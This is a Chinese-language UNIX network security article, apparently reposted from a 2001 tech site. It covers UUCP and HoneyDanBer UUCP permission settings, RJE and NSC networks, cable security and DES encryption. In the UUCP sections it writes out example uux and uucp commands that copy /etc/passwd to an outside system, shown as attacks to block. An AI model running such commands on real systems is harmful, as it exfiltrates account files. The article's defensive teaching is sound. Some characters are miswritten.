[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 網絡 > 正文
網絡安全
不詳 (2001-05-01 16:15:45)
    本文主要討論網絡和數據通訊安全,分為六個部分.第一部分概述最大,最老 
的UNIX網絡UUCP系統;第二部分討論UUCP的安全;第三部分討論新HONEY DANBER 
UUCP及安全特點;第四部分討論其它的UNIX網絡,其中包括RJE和NSC;第五部分討 
論通訊的物理安全;最一部分討論Sun Microsystem公司的Sun OS系統的網絡 
安全. 

1.UUCP系統概述 
    UUCP系統是一組程序,完成文件傳輸,執行系統之間的命令,維護系統使用情 
況的統計,保護安全.UUCP是UNIX系統最廣泛使用的網絡實用系統,這其中在兩個 
原因:第一,UUCP是各種UNIX版本都可用的唯一的標準網絡系統,第二,UUCP是最 
便宜的網絡系統.只需要一根電纜連接兩個系統,然就可建立UUCP.如果需要在 
相距數百或數千公裡遠的兩個系統間傳輸數據,中需要兩個具有撥號功能的調制 
解調器. 

  (1)UUCP命令 
      UUCP命令之一是uucp,該命令用兩系統間的文件傳輸,uucp命令格式類 
  似cp命令的格式,只是uucp允許用戶有系統間拷貝文件,命令的一般格式如 
  下: 
      uucp source_file destination_file 
      source_file通常是本系統的文件(但不必一定是),destination_file通 
  常是另一系統的文件或目錄.指定destination_file的格式為: 
      system!filename或system!directory. 
      uucp給系統管理員提供了一個選項,可以限制傳入和傳出本系統的uucp文 
  件只能傳到/usr/spool/uucppublic目錄結構中.若告訴uucp將傳輸的文件存 
  放在其他目錄中,系統將會送回一個郵件:remote access to path / file 
  denied. uucp允許以簡化符號~代替/usr/spool/uucppublic/.如: 
      uucp names remote!~/john/names 
      有時也可用uucp將文件從另一個系統拷貝到本系統,只要將要傳入本系統 
  的文件指定為源文件(用system!file)即可,如: 
      uucp remotes!/usr/john/file1 file1 
      如果在遠地機限制了文件傳輸的目錄,上條命令不能拷貝到文件.拷貝文 
  件到本系統的最安全的方法是:在兩個系統上都通過uucppublic目錄進行文件 
  傳輸: 
      uucp remotes!~/john/file1 ~/pat/file1 

  (2)uux命令 
      uux命令可用在另一個系統上執行命令,這一特點稱為"遠程命令仞行". 
  uux最通常的用處是在系統之間發送郵件(mail在其內部執行uux).典型的uux 
  請求如下: 
      pr listing| uux - "remote1!lp -d pr1" 
      這條命令將文件listing格式編排,再連接到系統remote1的打印機pr1 
  上打印出來.uux的選項"-"使uux將本命令的標準輸入設備建立為遠程命令的 
  標準輸入設備.當若幹個系統中只有一個系統連接了打印機時,常用uux打印文 
  件. 
      當然必須嚴格地限制遠程命令招待,以保護系統安全.如: 
      本系統不應允許其它系統上的用戶運行下面的命令: 
      uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)" 
      這條命令將使本系統傳送/etc/passwd文件到系統outside上,一般地,只 
  有幾條命令允許地執行.rmail是加限制的mail程序,常常為允許通過uux執行 
  的命令之一.也允許rnews(加限制的netnews偽脫機命令)在運行netnews的系 
  統上執行,還允許lp在提供了打印設備的系統上運行. 

  (3)uucico程序 
      uucp和uux命令實際上並不調用另一個系統及傳送文件和執行命令,而是 
  將用戶的請求排入隊列,並啟動uucico程序.uucico完成實際的通訊工作.它調 
  用其它的系統,登錄,傳送數據(可以是文件或請求遠程命令執行).如果電話線 
  忙,或其它系統已關機,傳輸請求仍針保留在隊列中,uucico續的職能操作 
  (通常是cron完成)將發送這些傳輸請求. 
      uucico完成數據的發送和接收.在本系統的/etc/passwd文件中,有其它系 
  統的uucico登錄進入本系統的入口項,該入口項中指定的缺省shell是uucico. 
  因此,其它系統調用本系統時,直接與uucico對話. 

  (4)uuxqt程序 
      當另一系統的uucico調用本系統請求遠程命令執行時,本系統的uucico將 
  該請求排入隊列,並在退出之前,啟動uuxqt程序執行遠程命令請求. 
      下面舉例說明數據是如何傳輸的.假設本系統的一個用戶發送郵件給另一 
  遠程系統remote1的某人,mail會執行uux,在remote1系統上遠程地運行remail 
  程序,要傳送的郵件為remail命令的輸入.uux將傳輸請求排入隊列,然啟動 
  uucico招待實際的遠程調用和數據傳輸.如果remote1響應請求,uucico登錄到 
  remote1,然傳送兩個文件:郵件和將在remote1上由uuxqt執行的uux命令文 
  件.uux命令文件中含有運行remail請求.如果remote1在被調時已關機,uucico 
  則將無法登和傳送文件,但是cron會周期地(1小時)啟動uucico.uucico查找是 
  否有還未傳送出的數據,若發現uux指定的傳輸目標系統是remote1,就嘗試再 
  調用remote1,直到調通remote1為止,或者過了一定天數仍未調通remote1,未 
  送出的郵件將作為"不可投遞"的郵件退回給發送該郵件的用戶. 

2.UUCP的安全問題 
    UUCP系統未設置限制,允許任何本系統外的用戶執行任何命令和拷貝進/出 
uucp用戶可讀/寫的任何文件.在具體的uucp應用環境中應了解這點,根據需要設 
置保護. 
    在UUCP中,有兩個程序處理安全問題.第一個是uucico程序,該程序在其它系 
統調用本系統時啟動.這個程序是本系統uucp安全的關鍵,完成本系統文件傳輸 
的傳進和傳出.第二個程序是uuxqt,該程序為所有的遠程命令執行服務. 

  (1)USERFILE文件 
      uucico用文件/usr/lib/uucp/USERFILE確定遠程系統發送或接收什文 
  件,其格式為: 
      login,sys[c] path_name [path_name...] 
      其中login是本系統的登錄名,sys是遠程系統名,c是可選的call_back標 
  志,path_name是目錄名. 
      uucico作為登錄shell啟動時,將得到遠程系統名和所在系統的登錄名,並 
  在USERFILE文件中找到匹配login和sys的行.如果該行含有call_back標志c, 
  uucico將不傳送文件,連接斷開,調用遠程系統(即,任何系統可以告訴本系統 
  它的名是xyz,是本系統掛起,調用實際的xyz執行文件傳輸),若無c,uucico 
  將執行遠程系統請求的文件傳送,被傳送的文件名被假定為以path_name開頭 
  的. 
      用戶需要了解以下幾點: 
      . 如果遠程系統使用的登錄名未列USERFILE的登錄域中,uucico將拒絕 
        允許其它系統做任何事,並掛起. 
      . 如果系統名未列sys域中,uucico將使用USERFILE中有匹配的登錄名 
        和空系統名的第一行,如:nuucp,/usr/spool/uucppublic應用到作為 
        nuucp登錄的所有系統.cbuucp,c將迫使作為cbuucp登錄的所有系統自 
        己執行文件傳輸的請求.若調用系統名不匹配sys系統中的任何一個,並 
        且無空入口項,uucico也將拒絕做任何事. 
      . 若兩個機器都設置了call_back標志,傳送文件的請求決不會被執行,兩 
        個系統一直互相調用,直到兩個系統中的一個取消call_back時,才能進 
        行文件傳送. 
      . 如果一個用戶的登錄名列USERFILE文件的login域中,則當調用本系 
        統的uucico為該用戶傳送文件時,uucico只傳送至path_name指定的目 
        錄中的文件.空登錄名用所有未明確列USERFILE文件中的用戶進行 
        登錄.所以 
            pat,/usr/pat 
            只允許pat傳送/usr/pat目錄結構中的文件. 
            ,/usr/spool/uucppublic /tmp 
            其他用戶僅允許傳送目錄/usr/spool/uucppublic和/tmp中的文件. 
        不要允許uucico將文件拷進/出到除了/usr/spool/uucppublic目錄以 
        外的其它任何目錄,否則可能會有人用下面的命令拷貝走本系統的重要 
        信息: 
            uucp yoursys!/etc/passwd to-creep 

  (2)L.cmds文件 
      uuxqt利用/usr/lib/uucp/L.cmds文件確定要執行的遠程執行請求命令. 
  該文件的格式是每行一條命令.如果只需uuxqt處理電子郵件,該文件中就只須 
  一行命令: 
      rmail 
      系統管理員可允許登錄用戶執行netnews(rnews)的命令或遠程打印命令 
  (lp),但決不能允許用戶執行拷貝文件到標準輸出的命令,如cat命令或網絡命 
  令uucp,否則這些人只需在他們自己的系統上敲入: 
      uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)" 
      然就可等待本系統發送出命令文件. 

  (3)uucp登錄 
      UUCP系統需要兩個登錄戶頭,一個是其它系統登錄的戶頭,另一個是系統 
  管理使用的戶頭.例如,數據傳輸登錄戶頭是nuucp,管理登錄戶頭是uucp,則在 
  /etc/passwd文件中應當有二行. 
      UID和GID的5號通常留給uucp,由uucico具有管理登錄的SUID許可,因此 
  nuucp戶頭的UID和GID應當用其它值. 

  (4)uucp使用的文件和目錄 
      /usr/lib/uucp用存放不能由用戶直接運行的各種uucp,如uuxqt和 
  uucico.該目錄還含有若幹個確定uucp如何操作的文件,如L.cmds和USERFILE. 
  這些文件只能對uucp管理戶頭可寫(系統管理員一定不願讓用戶更改遠程可執 
  行命令表):根據安全的觀點,該目錄中另一個系統管理員必須清楚的文件是 
  L.sys.該文件中含有uucico能調用的每個系統的入口項.入口項數據包括 
  uucico所調用系統的電話號碼,登錄名,未加密的口令.不用說,L.sys應當屬 
  uucp管理戶頭所有,且應當具有400或600存取許可. 
      uucp用/usr/spool/uucp目錄存放工作文件.文件名以C.開頭的文件是送 
  到其它系統的命令文件,含有在其它系統上拷入/出數據和執行命令的請求.文 
  件名以D.開頭的文件用作C.文件的數據文件.文件名以X.開頭的文件是來自其 
  它系統的遠程執行請求,由uuxqt解釋.文件名以TM.開始的文件是從其它系統 
  傳送數據到本系統過程中uucp所使用的暫存文件.XQTDIR是uuxqt用執行X. 
  文件的目錄.LOGFILE可有助管理uucp的安全,它含有執行uucp請求成功與否 
  的信息.系統管理員可時常查看該文件,了解有哪些系統正登錄入本系統執行 
  uucp請求?是什請求?特別要檢查這些請求是否試圖做不允許的操作. 

3.HONEYDANBER UUCP 
    有兩個主要的UUCP版本,第一個是與UNIX系統V一起頒布的,在本節將稱為老 
UUCP,另一個版本稱為HONEYDANBER UUCP,由AT&T頒布. 
    HONEYDANBER UUCP較之老UUCP有若幹改進: 
    <1>支持更多的撥號和網絡: 
       . 智能自動撥號調制解調器以及標準AT&T技術的801自動撥號器. 
       . 網絡,如DATAKIT VCS,UNET/ETHERNET, 3COM/ETHERNET, SYTEK, TCP 
         (BSD UNIX系統). 
       . 連接到LAN的撥號器. 
       . X.25永久性虛擬環網(用X.25協議) 
    <2>重新組織了/usr/spool/uucp目錄,在該目錄下,對每個遠程系統有一個 
       目錄. 
    <3>加強了安全. 
       . USERFILE和L.cmds文件組合成一個文件Permissions. 
       . 可以在一級級系統上指定遠程可執行命令. 
       . 可分別控制文件傳入和文件傳出. 
       . 缺省的安全設置很嚴格. 

  (1)HONEYDANBER UUCP與老UUCP的差別 
      HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原來UUCP中的 
  /usr/lib/uucp/L.sys.HONEYDANBER UUCP中/usr/spool/uucp/.log下的一個 
  目錄代替了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log 
  中的目錄uucico,uucp,uux,uuxqt含有相應命令的記錄文件,各目錄對應最近 
  處活躍狀態的遠程系統都有一個記錄文件(記錄文件在這些目錄中通常保存 
  一個星期). 
      如果一個調用本系統的遠程系統未列Systems文件中,uucico將不允許 
  該遠程系統執行任何操作,而是啟動shell程序/usr/lib/uucp/remote.unknown, 
  由UUCP提供的該shell程序的缺省版本將在/usr/spool/uucp/.Admin/Foreign 
  文件中記下遠程系統的登錄時間,日期及系統名.只要使remote.unknown不可 
  執行,就能禁止這一操作,以達到與老UUCP兼容. 
      C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目錄中,目錄名就 
  是文件對應的遠程系統名. 
      在HONEYDANBER UUCP中USERFILE與L.cmds文件合並在一起,這個新文件 
  /usr/lib/uucp/Permissions提供了更靈活的授予外系統存取許可的控制.文 
  件中的規則表定義了可以發出請示的各種系統.規則與選項的格式如下. 
      rule=list option=yes|no option=list... 
      其中rule是登錄名或機器名,list是用以分隔各項的規則表(表中各項隨 
  rule或option而變),option是下邊將討論的各選項之一,或為一個選項表,或 
  只取yes/no決定允許/不允許一項操作. 

  (2)登錄名規則 
      LOGNAME規則用控制作為登錄shell啟動的uucico. 
      LOGNAME=nuucp 
      指定對所有登錄到nuucp戶頭下的系統加缺省限制: 
      . 遠程系統只能發送文件到/usr/spool/uucppublic目錄中. 
      . 遠程系統不能請求接收任何文件. 
      . 當uucico調用遠程系統時,才發送已排入隊列要發送到該遠程系統的文 
        件.這是uucico準確地識別遠程系統的唯一方法(任何系統都可調用本 
        系統並冒充是xyz系統). 
      . 由uuxqtux遠程系統的名義可執行的命令是缺省規定的命令,這些缺省 
        命令在編譯時定義(通常只有rmail,rnews命令). 
      . 可用冒號分隔開若幹個其它系統的uucico的登錄戶頭. 
      LOGNAME=nuucp:xuucp:yuucp 
      任何設有LOGNAME規則的系統,若要登錄請求UUCP傳送,都會被回絕(系統 
  將給信息"get lost",並掛起). 
      一個LOGNAME規則就足夠啟動HONEYDANBER UUCP系統.事實上,當該系統運 
  行時,將在Permissions文件中放一個無選項的LOGNAME規則,該規則應用在 
  /etc/passwd文件入口項shell域中有/usr/lib/uucp/uucico的所有登錄戶頭. 
      可使用若幹選擇忽略缺省限制,這些選項可組合,允許或限制各種操作.例 
  如可用WRITE選項指定一個或多個送入文件的目錄,而不用被限制送入 
  /usr/spool/uucppublic目錄. 
      LOGNAME=nuucp WRITE=/ 
      這一規則允許文件送入本系統的任何目錄.2-4項的限制依然保持.注意: 
  遠程UUCP請求可重寫任何有寫許可的文件,可指定多個寫入文件的目錄.用冒 
  號分隔開: 
      LOGNAME=nnuucp WRITE=/usr:/floppy 
      該規則允許遠程系統將文件寫到/usr和/floppy目錄中. 
      用REQUEST=yes選項可允許遠程系統的用戶從本系統拷貝文件. 
      LOGNAME=nuucp REQUEST=yes 
      能被拷貝的文件只能是存放在/usr/spool/uucppublic目錄中的文件,1, 
  3,4,項的限制仍然有效.若要允許遠程系統可從其它目錄拷貝文件,用READ選 
  擇: 
      LOGNAME=nuucp REQUEST=yes READ=/usr 
      該規則允許遠程系統拷貝/usr目錄中任何其他人可讀的文件.也可像 
  WRITE選項一樣指定目錄表. 
      用SENDFILES=yes選項可允許uucico在遠程系統調用本系統時發送出已排 
  隊的文件. 
      LOGNAME=nuucp SENDFILES=yes 
      1,2,4項的限制依然有效. 
      用CALLBACK=yes選項迫使任何登錄到指定戶頭的系統call back. 
      注意:CALLBACK=yes不能與其它選項組合作用.如果其它選項與這條選項 
  列在一起,其它選項將被忽略. 
      NOREAD和NOWRITE選項可分別與READ和WRITE選項一起使用.指定NOREAD選 
  項下的目錄表,可建立對READ選項的例外處理(即指出READ目錄中不能由遠程 
  系統請求的目錄),例如: 
      LOGNAME=nuucp,REQUEST=yes READ=/ NOREAD=/etc 
      該規則允許遠程系統請求系統中任何其他人可讀的文件,但不包括/etc中 
  的文件,NOWRITE,WRITE的聯合用法與上類似. 
      一般來說,不要將缺省限制改得太多.若本系統被另一系統調去存貯電話 
  費用或系統管理員沒有辦法撥出,可以用SENDFILE選項.若要對某些機器取消 
  限制,則應當建立一個僅用那些機器的uucico登錄戶頭.例如: 
      LOGNAME=nuucp SENDFILES=yes 
      LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/ 
      上面的規則允許在trusted戶頭下登錄的系統在本系統中具有另一種文件 
  存取許可,nuucp戶頭的口令應送給所有要與本系統uucp建立連接的系統管理 
  員,trusted戶頭的口令則只能送給信任系統的管理員. 
      如系統有信任和非信任的uucp戶頭,最好用PUBDIR選項為這兩種戶頭建立 
  不同的公共戶頭,PUBDIR允許系統管理員改變uucico對公共目錄的概念(缺省 
  為/usr/spool/uucppublic).例如: 
      LOGNAME=nuucp SENDFILES=yes REQUEST=yes \ 
          PUBDIR=/usr/spool/uucppublic/nuucp 
      LOGNAME=trusted SENDFILES=yes REQUEST=yes READ=/ WRITE=/ \ 
          PUBDIR=/usr/spool/uucppublic/trusted 
      上面的選項使要送到公共目錄中的文件,對不同登錄nuucp和trusted分 
  別放入不同的目錄中.這將防止登錄到nuucp的非信任系統在信任系統的公共 
  目錄中拷進和拷出文件(注意:上面的選項允許nuucp請求文件傳送).行尾倒斜 
  槓指明下一行是該行的續行. 
      用MYNAME選項可以給登錄進某一戶頭的系統賦與一個系統名: 
      LOGNAME=Xuucp MYNAME=IOnker 

  (3)MACHINE規則 
      MACHINE規則用忽略缺省限制,在MACHINE規則中指定一個系統名表,就 
  可使uucico調用這些系統時改變缺省限制.READ,WRITE,REQUEST,NOREAD, 
  NOWRITE,PUBDIR選項的功能與LOGNAME相同.忽略CALLBACK,SENDFILES選項, 
  MYNAME選項所定義的必須與LOGNAME規則聯用,指定將賦給調用系統的名,該名 
  僅當調用所定義的系統時才用. 
      MACHINE規則的格式如下: 
      MACHINE=zuul:gozur:enigma WRITE=/ READ=/ 
      這條規則使遠程系統zuul,gozar,enigma能夠發送/請求本系統上任何其 
  他人可讀/寫的文件.一般不要讓遠程系統在除/usr/spool/uucppublic目錄外 
  的其它目錄讀寫文件,因此,對信任的系統也要少用MACHINE規則. 
      系統名OTHER用為指定用戶外的所有其他用戶建立MACHINE規則. 
      COMMANDS選項用改變uuxqt通過遠程請求執行的缺省命令表. 
      MACHINE=zuul COMMANDS=rmail:rnews:lp 
      上面的選項允許系統zuul請求遠程執行命令rmail,rnews,lp.uucico不用 
  這個選項.uuxqt用該選項確定以什系統的名義執行什命令. 
      COMMANDS選項所指定的命令將用缺省設置的路徑PATH.PATH在編輯uuxqt 
  時被建立通常設置為/bin:/usr/bin.在COMMANDS選項中給出全路徑名可以忽 
  略缺省PATH. 
      MACHINE=zuul COMMANDS=umail:/usr/local/bin/rnews:lp 
      同樣地,對HONEYDANBER UUCP也應當象老UUCP一樣不允許遠程系統運行 
  uucp或cat這樣的命令.任何能讀寫文件的遠程執行命令都可能威脅局域安全. 
  雖然局域系統對遠程系統名進行一定程序的校核,但是任何遠程系統在調用局 
  域系統時都可自稱是"xyz",而局域系統卻完全相信是真的.因此局域系統的系 
  統可能認為只允許了zuul運行lp命令.但實際上任何自稱是zuul的系統也被允 
  許運行lp命令. 
      有兩種方法可以証實系統的身份.一種方法是拒絕用CALLBACK=yes與調用 
  系統對話.只要電話和網絡線未被破密或改變,局域系統就能肯定地確認遠程 
  系統的身份.另一種方法是在LOGNAME規則中用VALIDATE選項. 
      若必須允許某些系統運行"危險"的命令,可聯用COMMANDS和VALIDATE選項, 
  VALIDATE選項用LOGNAME規則中指定某系統必須登錄到LOGNAME規定的登錄 
  戶頭下: 
      LOGNAME=trusted VALIDATE=zuul 
      MACHINE=COMMANDS=rmail:rnews:lp 
      當一個遠程系統自稱是zuul登錄時,uucico將查Permissions文件,找到 
  LOGNAME=trusted規則中的VALIDATE=zuul,若該遠程系統使用了登錄戶頭 
  trusted,uucico將認為該系統的確是zuul繼續往下執行,否則uucico將認為該 
  系統是假冒者,拒絕執行其請求.只要唯有zuul有trusted戶頭的登錄口令,其 
  它系統就不能假冒它.僅當登錄口令是保密的,沒有公布給其他非信任的系統 
  管理員或不安全的系統,VALIDATE選項才能奏效.如果信任系統的登錄口令泄 
  漏了,則任何系統都可偽裝為信任系統. 
      在COMMANDS選項中給出ALL時,將允許通過遠程請求執行任何命令.因此, 
  不要使用ALL!規定ALL實際上就是把自己的戶頭給了遠程系統上的每一個用戶. 

  (4)組合MACHINE和LOGNAME規則 
      將MACHINE和LOGNAME規則組合在一行中,可以確保一組系統的統一安全, 
  而不管遠程系統調用局域系統還是局域系統調用遠程系統. 
      LOGNAME=trusted MACHINE=zuul:gozur VALIDATE=zuul:gozur \ 
      REQUEST=yes SENDFILES=yes \ 
      READ=/ WRITE=/ PUBDIR=/usr/spool/trusted \ 
      COMMANDS=rmail:rnews:lp:daps 

  (5)uucheck命令 
      一旦建立了Permissions文件,可用uucheck -v命令了解uucp如何解釋該 
  文件.其輸出的前幾行是確認HONEYDANBER UUCP使用的所有文件,目錄,命令都 
  存在,然是對Permissions文件的檢查. 

  (6)網關(gateway) 
      郵件轉送可用建立一個gateway機器.gateway是一個只轉送郵件給其它 
  系統的系統.有了gateway,使有許多UNIX系統的部門或公司對其所有用戶只設 
  一個電子郵件地址.所有發來的郵件都通過gateway轉送到相應的機器. 
      gateway也可用加強安全:可將MODEM連接到gateway上,由gateway轉送 
  郵件的所有系統通過局域網或有線通訊線與gateway通訊.所有這些局域系統 
  的電話號碼,uucp登錄戶頭,口令不能對該組局域系統外的系統公布.如果有必 
  要,可使gateway是唯一連接了MODEM的系統. 
      建立一個最簡單的gateway是很容易的:對每個登錄進系統,想得到轉送郵 
  件的用戶,只需在文件/usr/mail/login中放入一行: 
      Forward to system !login 
      要發送給戶頭login的郵件進入gateway,將轉送給登錄在系統system的 
  戶頭login下的用戶.兩個登錄名可以不同. 
      gateway建立了一個安全管理的關卡:gateway的口令必須是不可猜測的, 
  gateway應盡可能只轉送郵送而不做別的事.至少不要將重要數據存放在該機 
  上.在gateway上還應做日常例行安全檢查,並且要對uucp的登錄進行仔細的檢 
  查. 
      gateway也為壞家伙提供了一個入口:如果有人非法進入了gateway,他將 
  通過uucp使用的通訊線存取其它的局域系統和存取含有關其它局域系統uucp 
  信息的Systems文件.若這人企圖非法進入其它系統,這些信息將對他具有很大 
  的用處. 
      經驗: 
      . 若要建立gateway,應確保其盡可能的無懈可擊. 
      . 可在gateway和局域系統間建立uucp連接,使得局域系統定期的與gateway 
        通訊獲取郵件,而gateway完全不用調用局域系統.這樣做至少能防止一 
        個壞家伙通過gateway非法進入局域系統. 
      . 利用局域系統的Permissions文件對gateway的行為加以限制,使其裸露 
        程度達到最小,即只轉發郵件.這樣可使竊密者不能利用gateway獲取其 
        它系統的文件. 

  (7)登錄文件檢查 
      HONEYDANBER UUCP自動地將登錄信息郵給uucp.login文件,應當定期地讀 
  這個文件.系統管理員應當檢查那些不成功的大量請求,特別是其它系統對本 
  系統的文件請求.還要檢查不允許做的遠程命令執行請求.登錄信息都保存在 
  文件中,如果要查看,可用grep命令查看./usr/spool/uucp/.Log/uucico/system 
  文件中含有uucico登錄,/usr/spool/uucp/.Log/uuxqt/system文件含有uuxqt 
  登錄.下面一行命令將打印出uuxqt執行的所有命令(rmail除外): 
      grep -v rmail /usr/spool/uucp/.Log/uuxqt/* 
      下面一行命令將打印所有對本系統文件的遠程請求: 
      grep -v REMOTE /usr/spool/uucp/.Log/uucico/* | grep "<" 
      總之,HONEYDANBER UUCP比老UUCP提供了更強的安全性,特別是提高了遠 
  程命令執行的安全性. 

4.其它網絡 

  (1)遠程作業登錄(RJE) 
      RJE(remote job entry)系統提供了一組程序及相應的硬件,允許UNIX系 
  統與IBM主機上的JES(job entry subsystems)通訊.可通過兩條命令的send和 
  usend存取RJE.send命令是RJE的通用的作業提供程序,它將提供文件給JES,就 
  好像這些作業文件是從卡片閱讀機讀入的"穿孔卡片"一樣.usend命令用在 
  使用了RJE系統的UNIX系統間傳送文件,它將建立一個"作業"(虛擬的一疊穿孔 
  卡片),並以send命令的送文件的同樣方式將該作業提供給JES.該作業卡片疊 
  中的控制卡告訴JES數據傳送到何處(這裡,數據是正被傳送的文件).文件傳送 
  的目的地是UNIX系統,但JES認為是一個"行式打印機".RJE系統通常以每秒 
  9600位的速率與JES通訊.典型的usend命令句法如下: 
      usend -d system -u login file(s) 
      system是掛到IBM JES上的另一個UNIX系統名,login是另一個系統上的接 
  收用戶的登錄名,file(s)是用戶希望傳送的文件. 
      幾個關RJE的安全問題: 
      . 缺省時,RJE將把文件傳送到接收用戶的HOME目錄中的rje目錄.該目錄 
        必須對其他人可寫,可執行,這意味著存入rje目錄的文件易受到檢查, 
        移動,修改.然而如果該目錄的許可方式是733,其他用戶就不能用ls列 
        目錄內容尋找感興趣的文件.被建立的文件對所有者,小組或其他人都 
        是可讀的,所以通過RJE網絡傳送的安全文件在系統上都是可讀的.為什 
        這些問題不同UUCP和/usr/uucppublic目錄? 
        * UUCP定期地清除/usr/spool/uucppublic目錄的內容,幾天前或幾星 
          期前的老文件將被刪除,通常用戶將把自己的文件移出uucppublic目 
          錄,以免文件被刪除,而存在用戶rje目錄中的文件不會被清除,所以 
          有些用戶從來不把自己的文件移到其它目錄. 
        * 用戶清楚地知道uucppublic目錄是一個公共目錄,存入重要信息之前, 
          首先注意將其加密.但是用戶卻總是容易忘記自己rje目錄實際上也 
          是公共目錄,經常忘記將重要文件加密. 
      . usend命令在其他人可寫的目錄中建立文件,並重寫其他人可寫的文件. 
      . RJE服務子程序是執行一些功能而不是執行文件傳送.RJE系統像UUCP一 
        樣也執行遠程命令,運行RJE的大多數系統用遠程命令執行轉送電子郵 
        件.因為RJE的傳輸率通常比UUCP更高.遺憾的是RJE沒有像UUCP那樣的 
        能力限制能執行的命令和能存取的文件.一個好的經驗是將連接到同一 
        個JES的一組系統,看作這些系統是在同一系統上. 

  (2)NSC網絡系統 
      NSC(network systems corporation)寬信道網絡是一個高速局域網絡 
  (LAN).NSC可將數千個最遠相距5000英尺的系統掛在一起,傳輸速率可高達 
  50MBIT/S,NSC也可通過的通訊如微波或人造衛星通訊線連接不同系統. 
      UNIX用戶可通過nusend命令存取NSC寬信道,nusend命令的句法與usend命 
  令相同,除用-c選項傳送其他人不可存取的文件外,大多數情況下,nusend的用 
  法與usend是一樣的,換言之,如果無-c選項,文件就是可讀的,而且文件路徑名 
  中列出所有目錄對其他人也都是可搜索的,前邊討論過的關RJE的安全問題 
  的考慮也適合NSC網絡. 
      可查看NSC記錄文件,了解NSC是否正在執行任何不應執行的命令.記錄文 
  件保存在目錄/usr/nsc/log中.下面的命令將打印出所有由NSC在本系統上執 
  行的命令(rmail除外): 
      grep execute /usr/nsc/log/LOGFILE|grep -v rmail 

5.通訊安全 
    有兩種方法可以提供安全的通訊:第一種是保証傳輸介質的物理安全,即使 
任何人都不可能在傳輸介質上接上自己的竊密線或"竊聽",第二種方法是加密重 
要數據. 

  (1)物理安全 
      如果所有的系統都鎖在屋裡,並且所有連接系統的網絡和接到系統上的終 
  端都在上鎖的同一屋內,則通訊與系統一樣安全(假定沒有MODEM).但是系統的 
  通訊線在上鎖的室外時,就會發生問題了. 
      盡管從網絡通訊線提取信息所需要的技術,比從終端通訊線獲取數據的技 
  術高幾個數量級,上述的同樣的問題也倒發生在網絡連接上. 
      用一種簡單的(但很昂貴)高技術加壓電纜,可以獲得通訊的物理安全.這 
  一技術是若幹年前,為美國國家電話系統而發展的.通訊電纜密封在塑料中,埋 
  置地下,並在線的兩端加壓.線上連接了帶有報警器的監示器,用來測量壓力. 
  如果壓力下降,則意味電纜可能破了,維修人員將被派出尋找與修復出問題的 
  電纜. 
      電纜加壓技術提供了安全的通訊線.不是將電纜埋置地下,而是架線 
  整座樓中,每寸電纜都將暴露在外.如果任何人企圖割電纜,監示器會啟動報警 
  器,通知安全保衛人員電纜已被破壞.如果任何人成功地在電纜上接了自己的 
  通訊線,安全人員定期地檢查電纜的總長度,應可以發現電纜拼接處.加壓電纜 
  是屏蔽在波紋鋁鋼包皮中的,因此幾乎沒有電磁發射,如果要用電磁感應竊密, 
  勢必需用大量可見的設備. 
      這樣終端就不必鎖在辦公室,而只需將安全電纜的端頭鎖在辦公室的一個 
  盒子裡. 
      另一個增加外部終端物理安全的方法,是在每天下午5點使用計算機的時 
  間結束時,即當所有用戶回家時,斷開終端的連接.這樣某人若想非法進入系統, 
  將不得不試圖在白天人們來來回回的時間裡獲取終端的存取權,或不得不在下 
  午5點手試圖潛入計算機房(如果5點計算機房有操作人員或有安全人員,潛 
  入計算機房的企圖就不可能得逞). 
      光纖通訊線曾被認為是不可搭線竊聽的,其斷破處立即可被檢測到,拼接 
  處的傳輸會令人難以忍耐的緩慢.光纖沒有電磁幅射,所以也不能用電磁感應 
  竊密.不幸的是光纖的最大長度有限制,長這一長度的光纖系統必須定期地 
  放大(復制)信號.這就需要將信號轉換成電脈沖,然再恢復成光脈沖,繼續通 
  過另一條線傳送.完成這一操作的設備(復制器)是光纖通訊系統的安全薄弱環 
  節,因為信號可能在這一環節被搭線竊聽.有兩個辦法可解決這一問題:距離大 
  最大長度限制的系統間,不要用光纖線通訊(目前,網絡覆蓋范圍半徑約100 
  公裡),或加強復制器的安全(用加壓電纜,警報系統,警衛). 

  (2)加密 
      加密也可提高終端和網絡通訊的物理安全,有三種方法加密傳輸數據: 
      . 鏈接加密:在網絡節點間加密,在節點間傳輸加密,傳送到節點解密, 
                 不同節點對間用不同的密碼. 
      . 節點加密:與鏈接加密類似,不同的只是當數據在節點間傳送時,不用明 
                 碼格式傳送,而是用特殊的加密硬件進行解密和重加密,這種 
                 專用硬件通常旋轉在安全保險箱中. 
      . 首尾加密:對進入網絡的數據加密,然待數據從網絡傳送出再進行 
                 解密.網絡本身並不會知道正在傳送的數據是加密數據.這一 
                 方法的優點是,網絡上的每個用戶(通常是每個機器的一個用 
                 戶)可有不同的加密關鍵詞,並且網絡本身不需增添任何專門 
                 的加密設備.缺點是每個系統必須有一個加密設備和相應的 
                 軟件(管理加密關鍵詞).或者每個系統必須自己完成加密工 
                 作(當數據傳輸率是按兆位/秒的單位計算時,加密任務的計 
                 算量是很大的). 
      終端數據加密是一特殊情況,此時鏈接加密法和首尾加密法是一樣的方 
  法,終端和計算機都是既為節點又為終止端點. 
      通訊數據加密常常不同文件加密,加密所用的方法不應降低數據的傳送 
  速度.丟失或被歪曲了的數據不應當引起丟失更多的數據位,即解密進程應當 
  能修復壞數據,而不能由壞數據對整個文件或登錄進行不正確地解密.對 
  登錄會話,必須一次加密一個字節,特別是在UNIX系統的情況下,系統要將字所 
  返回給用戶,更應一次加密一個字節.在網絡中,每一鏈可能需要不同的加密關 
  鍵字,這就提出了對加密關鍵詞的管理,分配和替換問題. 
      DES傳送數據的一般形式是以代入法密碼格式按塊傳送數據,不能達到上 
  述的許多要求.DES採用另一加密方法,一次加密一位或一個字節,形成密碼流. 
  密碼流具有自同步的特點,被傳送的密碼文本中發生的錯誤和數據丟失,將只 
  影響最終的明碼文本的一小段(64位).這稱為密碼反饋.在這種方法中,DES被 
  用作虛擬隨機數發生器,產生出一系列用對明碼文本的隨機數.明碼文本的 
  每n位與一個DESn位的加密輸出數進行異或,n的取值為1-64,DES加密處理的輸 
  入是根據前邊傳送的密碼文本形成的64位的數值. 
